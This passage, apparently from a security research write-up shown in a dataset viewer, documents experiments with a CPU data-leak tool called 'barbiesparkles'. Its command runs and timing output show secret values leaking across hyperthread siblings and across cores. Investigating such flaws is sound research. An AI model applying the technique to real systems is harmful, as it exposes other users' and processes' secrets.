text stringlengths 0 1.99k |
|---|
--------------------------------------------------------------------------- |
(...) |
result targetsrc val: 0x0, access time: 1440 |
result targetsrc val: 0x0, access time: 495 |
result targetsrc val: 0x0, access time: 540 |
result targetsrc val: 0x33333333, access time: 675 // the stale value |
result targetsrc val: 0x0, access time: 540 |
result targetsrc val: 0x42, access time: 495 // the secret value |
result targetsrc val: 0x0, access time: 495 |
result targetsrc val: 0x0, access time: 1485 |
result targetsrc val: 0x0, access time: 540 |
(...) |
--------------------------------------------------------------------------- |
So, we went for more statistical testing. Running the code 100 times in a |
loop of 512 iterations, we would get from 1 to 2 digits hits on the secret. |
This isn't enough though. If we can see data that isn't supposed to be |
there, then we want to see it all the time, right? |
--[ 2.4 - I See Sparkles EVERYWHERE |
From there, we started to check different contexts, trying to figure out |
from where the leakage was coming from. We decided to test if we could leak |
cross threads in hyperthreading system. |
Check the pairs: |
--------------------------------------------------------------------------- |
$ cat /sys/devices/system/cpu/cpu*/topology/thread_siblings_list |
0,8 |
2,10 |
3,11 |
4,12 |
5,13 |
6,14 |
7,15 |
1,9 |
--------------------------------------------------------------------------- |
And we test two siblings: |
--------------------------------------------------------------------------- |
$ ./barbiesparkles -c 2 -s 42424242 -n 512 -I 100 | grep result |
(...) |
result targetsrc val: 0x42424242, access time: 495 |
result targetsrc val: 0x42424242, access time: 1440 |
result targetsrc val: 0x42424242, access time: 540 |
result targetsrc val: 0x0, access time: 495 |
result targetsrc val: 0x0, access time: 540 |
result targetsrc val: 0x42424242, access time: 495 |
result targetsrc val: 0x33333333, access time: 495 |
result targetsrc val: 0x42424242, access time: 540 |
result targetsrc val: 0x42424242, access time: 495 |
(...) |
$ ./barbiesparkles -c 10 -s 41414141 -n 512 -I 100 | grep result |
(...) |
result targetsrc val: 0x42424242, access time: 540 |
result targetsrc val: 0x42424242, access time: 540 |
result targetsrc val: 0x42424242, access time: 540 |
result targetsrc val: 0x0, access time: 540 |
result targetsrc val: 0x42424242, access time: 540 |
result targetsrc val: 0x42424242, access time: 495 |
result targetsrc val: 0x42424242, access time: 540 |
result targetsrc val: 0x0, access time: 540 |
result targetsrc val: 0x42424242, access time: 630 |
result targetsrc val: 0x0, access time: 540 |
result targetsrc val: 0x0, access time: 540 |
result targetsrc val: 0x41414141, access time: 495 |
result targetsrc val: 0x41414141, access time: 495 |
result targetsrc val: 0x42424242, access time: 540 |
result targetsrc val: 0x42424242, access time: 495 |
result targetsrc val: 0x42424242, access time: 495 |
result targetsrc val: 0x41414141, access time: 540 |
result targetsrc val: 0x0, access time: 495 |
result targetsrc val: 0x41414141, access time: 540 |
result targetsrc val: 0x8, access time: 495 |
result targetsrc val: 0x42424242, access time: 540 |
result targetsrc val: 0x42424242, access time: 540 |
(...) |
--------------------------------------------------------------------------- |
This shows that whatever buffer we are leaking from, it is shared within |
the core at least. Next step, can we leak cross-core? |
--------------------------------------------------------------------------- |
$ ./barbiesparkles -c 2 -s 43434343 -n 512 -I 100 &>/dev/null |
$ ./barbiesparkles -c 3 -s 44444444 -n 512 -I 100 | grep result |
result targetsrc val: 0x43434343, access time: 540 |
result targetsrc val: 0x0, access time: 540 |
result targetsrc val: 0x43434343, access time: 540 |
result targetsrc val: 0x0, access time: 540 |
result targetsrc val: 0x43434343, access time: 495 |
result targetsrc val: 0x44444444, access time: 495 |
result targetsrc val: 0x43434343, access time: 585 |
result targetsrc val: 0x0, access time: 585 |
result targetsrc val: 0x43434343, access time: 540 |
result targetsrc val: 0x43434343, access time: 540 |
result targetsrc val: 0x43434343, access time: 540 |
result targetsrc val: 0x44444444, access time: 495 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.